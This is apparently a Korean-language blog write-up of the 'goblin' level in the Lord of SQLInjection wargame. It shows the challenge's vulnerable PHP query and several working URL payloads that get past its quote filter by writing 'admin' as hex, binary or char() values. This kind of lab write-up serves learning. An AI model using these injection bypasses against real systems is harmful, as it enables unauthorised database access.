본문 바로가기

Wargame(hacking)/LOS

LORD OF SQLINJECTION : goblin

Write-Up

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

 

 where id='guest' and no={$_GET[no]}"; 을 보면, where 절의 id인 guest가 하드코딩되어 있다. 따라서, 파라미터 no 로 문제해결을 해야한다. 필터링 되는 문자들을 우회하여, sql injection을 진행하고자, like 구문을 사용해주었다. 

 

/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20like%20admin

 

처음 위와 같은 payload 입력 시, clear가 되지 않았다. id like 'admin' 과 같이 입력 하면 되겠지만, 해당 문제에서는 ', "가 필터링되고 있기에 그럴 수 없었다. 그래서 아래와 같이 admin 을 16진수로 변환한  0x61646d696e 값을 입력해주었다. 

 

/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20like%200x61646d696e

 

위 payload 입력 시, 문제를 해결할 수 있었다. 

 

 

추가적으로...

 

/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20like%200b0110000101100100011011010110100101101110

/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20like%20char(0x61,%200x64,%200x6d,%200x69,%200x6e)

/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20=0x61646d696e